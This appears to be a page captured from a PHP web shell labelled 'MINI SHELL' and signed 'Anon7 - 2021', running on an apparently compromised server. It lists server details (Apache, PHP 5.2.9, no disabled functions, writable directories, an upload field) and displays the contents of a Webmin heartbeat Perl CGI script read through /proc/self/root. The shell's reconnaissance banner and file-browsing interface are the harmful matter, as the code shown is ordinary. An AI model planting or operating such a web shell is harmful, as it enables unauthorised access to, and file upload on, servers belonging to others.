MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /proc/self/root/usr/libexec/webmin/heartbeat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/libexec/webmin/heartbeat/save_auth.cgi
#!/usr/bin/perl
# save_auth.cgi
# Save authentication settings

require './heartbeat-lib.pl';
&ReadParse();
&error_setup($text{'auth_err'});

$conf = &get_auth_config();
$conf->{'auth'} = [ $in{'auth'} ];
$i = 1;
foreach $k ('crc', 'sha1', 'md5') {
	if ($k eq 'crc') {
		$conf->{$i} = [ $k ];
		}
	else {
		$in{'auth'} != $i || $in{$k} =~ /^\S+$/ ||
			&error($text{"auth_e$k"});
		$conf->{$i} = [ $k, $in{$k} ];
		}
	$i++;
	}
&save_auth_config($conf);
&redirect("");


Anon7 - 2021